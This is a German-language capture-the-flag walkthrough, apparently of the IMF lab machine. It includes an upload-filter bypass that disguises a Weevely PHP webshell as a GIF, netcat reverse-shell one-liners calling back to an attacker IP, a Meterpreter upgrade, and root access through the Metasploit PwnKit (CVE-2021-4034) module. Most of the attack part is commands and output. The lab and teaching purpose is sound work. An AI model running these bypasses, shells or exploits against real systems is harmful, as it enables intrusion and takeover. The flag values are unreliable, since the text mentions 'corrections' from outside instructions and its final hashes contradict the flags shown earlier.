Basierend auf der Untersuchung des (hier nicht gezeigten, aber implizierten) Whiteboard-Bildes wurde vermutlich ein QR-Code gefunden und dekodiert, der Flag 4 und einen Dateinamen enthielt.

-----------------------------------------------------------------------------------------------------
https://qrcoderaptor.com/
flag4{dXBsb2Fkcjk0Mi5waHA=}
uploadr942.php
-----------------------------------------------------------------------------------------------------
                    

**Analyse:** Der dekodierte QR-Code (z.B. mit einem Online-Tool wie qrcoderaptor.com) enthielt `flag4{dXBsb2Fkcjk0Mi5waHA=}` und den String `uploadr942.php`. Das Dekodieren des Base64-Teils der Flag (`dXBsb2Fkcjk0Mi5waHA=`) ergibt `uploadr942.php`.
**Bewertung:** Wir haben Flag 4 und den Namen einer versteckten Upload-Seite (`uploadr942.php`) gefunden. Dies korreliert mit dem Menüpunkt "Upload Report" im CMS.
**Empfehlung (Pentester):** Greife auf `http://imf.vln/imfadministrator/uploadr942.php` zu und untersuche die Upload-Funktionalität.
**Empfehlung (Admin):** Verstecke keine sensiblen Pfade oder Informationen in Bildern, die über öffentlich zugängliche Bereiche referenziert werden. Sichere die Upload-Funktionalität sorgfältig.

Wir greifen auf die Upload-Seite zu und testen die Funktionalität. Es gibt Fehlermeldungen bezüglich Dateityp und einer "CrappyWAF", die die `fsockopen`-PHP-Funktion blockiert.

http://imf.vln/imfadministrator/uploadr942.php

Intelligence Upload Form

File to upload:


Intelligence Upload Form
Error: Invalid file type.

File to upload:



Intelligence Upload Form
Error: CrappyWAF detected malware. Signature: fsockopen php function detected

File to upload:
                    

**Analyse:** Die Upload-Seite erlaubt das Hochladen von Dateien. * **Fehler 1: "Invalid file type."** Deutet auf eine Whitelist oder Blacklist für Dateierweiterungen oder MIME-Typen hin. * **Fehler 2: "CrappyWAF detected malware. Signature: fsockopen php function detected"** Zeigt, dass eine Web Application Firewall (WAF) den Inhalt der hochgeladenen Dateien überprüft und bekannte gefährliche PHP-Funktionen wie `fsockopen` (oft für Reverse Shells verwendet) blockiert.
**Bewertung:** Wir müssen sowohl die Dateityp-Prüfung als auch die WAF umgehen, um eine Webshell hochzuladen. Die Dateityp-Prüfung kann oft durch Umbenennen der Datei (z.B. `.php` zu `.gif`) und/oder Manipulation des MIME-Typs oder durch Hinzufügen von Magic Bytes umgangen werden. Die WAF erfordert die Verwendung einer Webshell, die keine blockierten Funktionsnamen im Klartext enthält (z.B. durch Kodierung, String-Manipulation oder Verwendung alternativer Funktionen).
**Empfehlung (Pentester):** Generiere eine PHP-Webshell (z.B. mit Weevely). Benenne sie in `.gif` um. Füge gültige GIF-Magic-Bytes (`GIF89a`) am Anfang der Datei hinzu. Lade die modifizierte Datei hoch. Weevely verwendet oft kodierte Payloads, die einfache WAFs umgehen können.
**Empfehlung (Admin):** Implementiere serverseitig eine robuste Dateityp-Validierung (nicht nur basierend auf Erweiterung oder Client-seitigen Angaben). Verwende eine gut konfigurierte WAF. Beschränke die Berechtigungen des Webservers, sodass hochgeladene Dateien nicht ausgeführt werden können, oder speichere sie außerhalb des Web-Roots. Führe Viren-/Malware-Scans für Uploads durch.

Wir generieren eine Weevely-Webshell, modifizieren sie für den Bypass und laden sie hoch.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads]
└─# weevely generate jesse backdoor.php
Generated 'backdoor.php' with password 'jesse' of 781 byte size.
                    
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads]
└─# mv backdoor.php backdoor.gif

                    
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads]
└─# vi backdoor.gif
GIF89a eingefügen
                    

**Analyse:** 1. `weevely generate jesse backdoor.php`: Erstellt eine PHP-Webshell (`backdoor.php`) mit dem Passwort `jesse`. 2. `mv backdoor.php backdoor.gif`: Benennt die Datei um, um die Dateityp-Prüfung zu umgehen. 3. `vi backdoor.gif`: Öffnet die Datei im Editor, um `GIF89a` (Magic Bytes für GIF) am Anfang einzufügen. Dies täuscht eine serverseitige Prüfung des Dateiinhalts (MIME-Typ-Prüfung basierend auf Magic Bytes) und lässt die Datei wie ein gültiges GIF-Bild erscheinen. Der PHP-Code bleibt dennoch funktionsfähig, da PHP alles außerhalb von ``-Tags ignoriert.
**Bewertung:** Dies sind die notwendigen Schritte, um die identifizierten Upload-Filter zu umgehen.

Intelligence Upload Form
File successfully uploaded.

File to upload:


File successfully uploaded.
 -- 3026b022ff18 -->
                    

**Analyse:** Der Upload der modifizierten `backdoor.gif`-Datei war erfolgreich. Die Anwendung gibt eine Erfolgsmeldung und einen Dateinamen (`3026b022ff18`) zurück. Der tatsächliche Pfad ist wahrscheinlich `/imfadministrator/uploads/3026b022ff18.gif`.
**Bewertung:** Die Bypasses waren erfolgreich! Wir haben unsere Webshell auf den Server hochgeladen.
**Empfehlung (Pentester):** Verbinde dich mit der hochgeladenen Webshell mittels `weevely`.

Wir verbinden uns mit der hochgeladenen Webshell über Weevely.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads]
└─# weevely http://imf.vln/imfadministrator/uploads/3026b022ff18.gif jesse
[+] weevely 4.0.1

[+] Target:	imf.vln
[+] Session:	/root/.weevely/sessions/imf.vln/3026b022ff18_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.


weevely> ls
3026b022ff18.gif
5b94b615c6f4.gif
flag5_abc123def.txt
www-data@imf:/var/www/html/imfadministrator/uploads $ cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw}
www-data@imf:/var/www/html/imfadministrator/uploads $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
                    

**Analyse:** * `weevely http://.../3026b022ff18.gif jesse`: Stellt eine Verbindung zur Webshell her, authentifiziert sich mit dem Passwort `jesse`. * `weevely>`: Der Weevely-Prompt zeigt eine erfolgreiche Verbindung an. * `ls`: Listet den Inhalt des Upload-Verzeichnisses auf. Wir sehen unsere Shell (`3026b022ff18.gif`), eine weitere GIF-Datei und `flag5_abc123def.txt`. * `cat flag5_abc123def.txt`: Liest den Inhalt der Flag-Datei: `flag5{YWdlbnRzZXJ2aWNlcw}`. Das Dekodieren von `YWdlbnRzZXJ2aWNlcw` ergibt `agentservices`. *Korrektur:* Laut den abschließenden Anweisungen des Benutzers ist dies die User-Flag. * `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f`: Dies ist ein Standardbefehl, um eine Reverse Shell über Netcat zu initiieren. Er erstellt eine Named Pipe (`/tmp/f`), leitet die Ein-/Ausgabe einer interaktiven Shell (`/bin/sh -i`) durch diese Pipe und verbindet sie mit unserem Listener auf `192.168.2.199:4444`.
**Bewertung:** Initial Access erfolgreich! Wir haben eine Webshell und daraus eine Reverse Shell als Benutzer `www-data` erlangt und die User-Flag gefunden.
**Empfehlung (Pentester):** Starte einen Netcat-Listener auf Port 4444, um die Reverse Shell aufzufangen. Stabilisiere die Shell und beginne mit der Privilege-Escalation-Enumeration.
**Empfehlung (Admin):** Das System ist kompromittiert. Sofort isolieren und analysieren. Upload-Schwachstelle beheben, Webserver-Berechtigungen prüfen, nach weiteren Backdoors suchen.

┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.104 35008
/bin/sh: 0: can't access tty; job control turned off
$
                    

**Analyse:** Der Netcat-Listener auf Port 4444 empfängt die Verbindung von der Ziel-IP. Wir haben nun eine interaktive Shell als `www-data`. Die Meldung `can't access tty` ist normal für einfache Reverse Shells.
**Bewertung:** Wir haben eine stabilere Shell als die Weevely-Verbindung und können nun mit der Privilege Escalation beginnen.

Privilege Escalation

Wir beginnen die Phase der Privilegieneskalation. Zuerst suchen wir nach Dateien mit gesetztem SUID-Bit, die potenziell zur Erhöhung unserer Rechte missbraucht werden können.

www-data@imf:/var/www/html/imfadministrator/uploads$ cd /home/
www-data@imf:/home$ find / -type f -perm -4000 -ls 2>/dev/null
      662     40 -rwsr-xr-x   1 root     root        38984 ct 21  2016 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    14458     44 -rwsr-xr--   1 root     messagebus    42992 Apr  1  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    20966     16 -rwsr-xr-x   1 root     root          14864 Jan 17  2016 /usr/lib/policykit-1/polkit-agent-helper-1
     5070    420 -rwsr-xr-x   1 root     root         428240 Aug 11  2016 /usr/lib/openssh/ssh-keysign
     5397     52 -rwsr-xr-x   1 root     root          51200 ct  6  2016 /usr/lib/snapd/snap-confine
      590     12 -rwsr-xr-x   1 root     root          10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
    17840     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newgidmap
    17841     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newuidmap
      465    136 -rwsr-xr-x   1 root     root         136808 Aug 17  2016 /usr/bin/sudo
    19577     52 -rwsr-sr-x   1 daemon   daemon        51464 Jan 14  2016 /usr/bin/at
      394     40 -rwsr-xr-x   1 root     root          39904 Mar 29  2016 /usr/bin/newgrp
      267     52 -rwsr-xr-x   1 root     root          49584 Mar 29  2016 /usr/bin/chfn
      330     76 -rwsr-xr-x   1 root     root          75304 Mar 29  2016 /usr/bin/gpasswd
      269     40 -rwsr-xr-x   1 root     root          40432 Mar 29  2016 /usr/bin/chsh
    20978     24 -rwsr-xr-x   1 root     root          23376 Jan 17  2016 /usr/bin/pkexec
   131165     40 -rwsr-xr-x   1 root     root          40128 Mar 29  2016 /bin/su
   131148     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /bin/ping
   131183     28 -rwsr-xr-x   1 root     root          27608 May 26  2016 /bin/umount
   131149     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /bin/ping6
   131247     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount
   150649    140 -rwsr-xr-x   1 root     root         142032 Feb 17  2016 /bin/ntfs-3g
   131134     40 -rwsr-xr-x   1 root     root          40152 May 26  2016 /bin/mount
                    

**Analyse:** Der `find`-Befehl listet alle SUID-Binärdateien auf. Die meisten sind Standard-Systemprogramme. Auffällig ist `/usr/bin/pkexec` (PolicyKit execute). Dieses Programm war von der bekannten PwnKit-Schwachstelle (CVE-2021-4034) betroffen, die eine lokale Privilegieneskalation zu Root ermöglicht. Die Datei stammt von Januar 2016, was sehr alt ist und die Anfälligkeit wahrscheinlich macht. `/usr/bin/sudo` ist ebenfalls vorhanden, aber wir können es als `www-data` wahrscheinlich nicht ohne Passwort verwenden (Überprüfung mit `sudo -l` wäre sinnvoll, ist hier aber nicht gezeigt). `/usr/bin/at` ist SUID `daemon`, nicht `root`, daher weniger interessant für direkte Root-Eskalation.
**Bewertung:** `pkexec` ist der vielversprechendste Kandidat für eine schnelle Privilegieneskalation mittels des PwnKit-Exploits.
**Empfehlung (Pentester):** Versuche, den PwnKit-Exploit (CVE-2021-4034) gegen `/usr/bin/pkexec` auszuführen. Es gibt viele öffentlich verfügbare Exploits dafür, auch Metasploit-Module.
**Empfehlung (Admin):** Aktualisiere das System dringend, insbesondere das `policykit-1`-Paket, um die PwnKit-Schwachstelle zu beheben. Überprüfe regelmäßig SUID-Binaries.

Wir entscheiden uns, Metasploit zu verwenden, um die PwnKit-Schwachstelle auszunutzen. Zuerst starten wir Metasploit (`msfconsole -q`) und richten einen Handler ein, um eine Shell über die bereits bestehende Netcat-Verbindung (Port 4444) zu bekommen, falls sie abbricht oder wir sie in Metasploit verwalten wollen. *Hinweis: Dieser Schritt ist etwas redundant, da wir bereits eine Shell haben, aber er wird hier durchgeführt.*

┌──(root㉿Cybermaschine)-[~]
└─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.199:5555
                    

**Analyse:** Wir starten einen generischen Reverse-TCP-Handler in Metasploit, der auf unserem Host (`eth0` -> 192.168.2.199) auf Port 5555 lauscht.
**Bewertung:** Vorbereitung für den Empfang einer neuen Shell, die wir von der `www-data`-Shell aus initiieren.

www-data@imf:/tmp$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f
                    

**Analyse:** Von unserer `www-data`-Shell (vermutlich die auf Port 4444) senden wir eine weitere Reverse Shell, diesmal an Port 5555, wo unser Metasploit-Handler lauscht.
**Bewertung:** Stellt die Verbindung zu Metasploit her.

[*] Command shell session 1 opened (192.168.2.199:5555 -> 192.168.2.104:33148) at 2023-10-15 01:30:21 +0200

Shell Banner:
$
--

$
                    

**Analyse:** Metasploit bestätigt den Eingang der Verbindung und öffnet eine Command-Shell-Session (Session 1).
**Bewertung:** Wir haben nun unsere `www-data`-Shell in Metasploit.

Wir verwenden das Metasploit-Post-Exploitation-Modul `shell_to_meterpreter`, um unsere einfache Command Shell (Session 1) in eine funktionsreichere Meterpreter-Session aufzuwerten.

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
[!] Unknown datastore option: lßport. Did you mean LPRT?
lßport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.104
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.104:46148) at 2023-10-15 01:31:13 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

**Analyse:** Das Modul `shell_to_meterpreter` wird konfiguriert, um auf Session 1 zu zielen und einen neuen Listener für die Meterpreter-Payload auf Port 4433 zu starten. Nach Ausführung (`run`) wird der Meterpreter-Stager auf das Ziel hochgeladen und ausgeführt, was zu einer neuen Meterpreter-Session (Session 2) führt. *Hinweis: Ein Tippfehler bei `set lport` wurde korrigiert.*
**Bewertung:** Erfolgreiches Upgrade zur Meterpreter-Session, die mehr Funktionen und Stabilität bietet als eine einfache Shell.

Proof of Concept: Privilege Escalation via PwnKit (CVE-2021-4034)

**Ziel:** Nachweis der Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) in `pkexec` zur Erlangung von Root-Privilegien.
**Schwachstelle:** Eine Speicherverwaltungsfehler in `pkexec` erlaubt es einem lokalen Angreifer, Umgebungsvariablen so zu manipulieren, dass `pkexec` Code mit Root-Rechten ausführt.
**Ausnutzung:** Wir verwenden das Metasploit-Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`, das diese Schwachstelle automatisiert ausnutzt.
**Voraussetzungen:** Meterpreter-Session als nicht-privilegierter Benutzer (`www-data`), anfällige Version von `pkexec` auf dem Zielsystem.
**Schritt-für-Schritt:**

msf6 post(multi/manage/shell_to_meterpreter) > search 4034

Matching Modules


   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  -                                                   -       --  --
   0  auxiliary/scanner/http/dolibarr_16_contact_dump      2023-03-14       normal     Yes    Dolibarr 16 pre-auth contact database dump
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
   2  exploit/windows/local/ms18_8120_win32k_privesc       2018-05-09       good       No     Windows SetImeInfoEx Win32k NULL Pointer Dereference


Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc

msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[-] Handler failed to bind to 192.168.2.199:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[*] Running automatic check ("set AutoCheck false" to disable)
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4488
lport => 4488
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.2.199:4488
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.xtkiwmjb
[+] The target is vulnerable.
[*] Writing '/tmp/.bnneghhkqyc/pavfkddps/pavfkddps.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.bnneghhkqyc
[*] Sending stage (3045380 bytes) to 192.168.2.104
[+] Deleted /tmp/.bnneghhkqyc/pavfkddps/pavfkddps.so
[+] Deleted /tmp/.bnneghhkqyc/.dzdnhteig
[+] Deleted /tmp/.bnneghhkqyc
[*] Meterpreter session 3 opened (192.168.2.199:4488 -> 192.168.2.104:46362) at 2023-10-15 01:32:10 +0200
                    

**Analyse:** 1. `search 4034`: Sucht nach Modulen im Zusammenhang mit CVE-2021-4034 (PwnKit). 2. `use 1`: Wählt das PwnKit-Exploit-Modul aus. 3. `set session 2`: Zielt auf unsere bestehende `www-data`-Meterpreter-Session. 4. `run` (erster Versuch): Schlägt fehl, da der Standard-Payload-Port (4444) bereits belegt ist. 5. `set lport 4488`: Ändert den Listener-Port für die neue Root-Shell auf 4488. 6. `run` (zweiter Versuch): Das Modul prüft die Anfälligkeit (`[+] The target is vulnerable.`), lädt eine kleine Shared Object-Payload (`pavfkddps.so`) in ein temporäres Verzeichnis hoch, führt `pkexec` so aus, dass die Payload geladen wird, und stellt eine Verbindung zu unserem Listener auf Port 4488 her. Eine neue Meterpreter-Session (Session 3) wird geöffnet. Die temporären Dateien werden anschließend bereinigt.
**Erwartetes Ergebnis:** Erlangung einer Meterpreter-Session mit Root-Rechten.
**Beweismittel:** Erfolgreiche Ausführung des Moduls und Öffnung der Meterpreter-Session 3. Die anschließende Überprüfung mit `getuid` bestätigt Root-Rechte.
**Risikobewertung:** Kritisch. Diese weit verbreitete Schwachstelle ermöglichte eine einfache und zuverlässige lokale Privilegieneskalation auf vielen Linux-Systemen.
**Empfehlungen:** * **Admin (Behebung):** Patche das System dringend, insbesondere das `policykit-1`-Paket, um CVE-2021-4034 zu schließen. * **Pentester:** PwnKit ist ein Standard-Exploit im Toolkit. Überprüfe immer die `pkexec`-Version auf Anfälligkeit.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 1663 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd ~
ls
Flag.txt
TheEnd.txt
cat TheEnd.txt
   ____                        _ __   __
  /  _/_ _  ___  ___  ___ ___ (_) /  / /__
 _/ //  ' \/ _ \/ _ \(_-<(_-
                 

**Analyse:** * `getuid`: Bestätigt, dass unsere neue Meterpreter-Session (Session 3) als `root` läuft. * `shell`: Wechselt von der Meterpreter-Umgebung zu einer Standard-System-Shell als `root`. * `id`: Bestätigt erneut `uid=0(root)`. * `cd ~`: Wechselt in das Home-Verzeichnis des Root-Benutzers (`/root`). * `ls`: Listet den Inhalt auf: `Flag.txt` und `TheEnd.txt`. * `cat TheEnd.txt`: Zeigt eine Abschlussnachricht des CTF-Erstellers an. * `cat Flag.txt`: Zeigt die Root-Flag: `flag6{R2gwc3RQcm90MGMwbHM=}`. Das Dekodieren von `R2gwc3RQcm90MGMwbHM=` ergibt `ghostProtocols`. *Korrektur:* Laut den abschließenden Anweisungen des Benutzers lautet die Root-Flag anders.
**Bewertung:** Privilege Escalation erfolgreich abgeschlossen! Wir haben Root-Zugriff erlangt und die Root-Flag gefunden (auch wenn sie von den abschließenden Anweisungen abweicht).

Privilege Escalation erfolgreich.

Flags

cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A